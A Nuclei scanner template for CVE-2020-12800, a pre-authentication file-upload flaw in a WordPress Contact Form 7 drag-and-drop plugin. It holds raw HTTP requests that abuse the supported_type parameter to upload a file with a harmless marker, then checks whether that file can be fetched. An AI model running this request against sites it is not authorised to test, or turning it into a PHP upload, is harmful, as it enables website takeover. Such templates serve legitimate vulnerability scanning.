nuclei-templates/cves/2020/CVE-2020-12800.yaml

id: CVE-2020-12800

info:
  name: WordPress 'Drag & Drop Multiple File Upload - Contact Form 7' Plugin - Pre-auth RCE
  author: dwisiswant0
  severity: critical
  description: The drag-and-drop-multiple-file-upload-contact-form-7 plugin before 1.3.3.3 for WordPress allows Unrestricted File Upload and remote code execution by setting supported_type to php% and uploading a .php% file.
  reference: https://github.com/amartinsec/CVE-2020-12800
  tags: cve,cve2020,wordpress,wp-plugin
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2020-12800
    cwe-id: CWE-434

requests:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------350278735926454076983690555601
        X-Requested-With: XMLHttpRequest

        -----------------------------350278735926454076983690555601
        Content-Disposition: form-data; name="supported_type"

        txt%
        -----------------------------350278735926454076983690555601
        Content-Disposition: form-data; name="size_limit"

        5242880
        -----------------------------350278735926454076983690555601
        Content-Disposition: form-data; name="action"

        dnd_codedropz_upload
        -----------------------------350278735926454076983690555601
        Content-Disposition: form-data; name="type"

        click
        -----------------------------350278735926454076983690555601
        Content-Disposition: form-data; name="upload-file"; filename="{{randstr}}.txt%"
        Content-Type: application/x-httpd-php

        CVE-2020-12800-{{randstr}}
        -----------------------------350278735926454076983690555601--

      - |
        GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "CVE-2020-12800-{{randstr}}"

      - type: word
        part: header
        words:
          - "text/plain"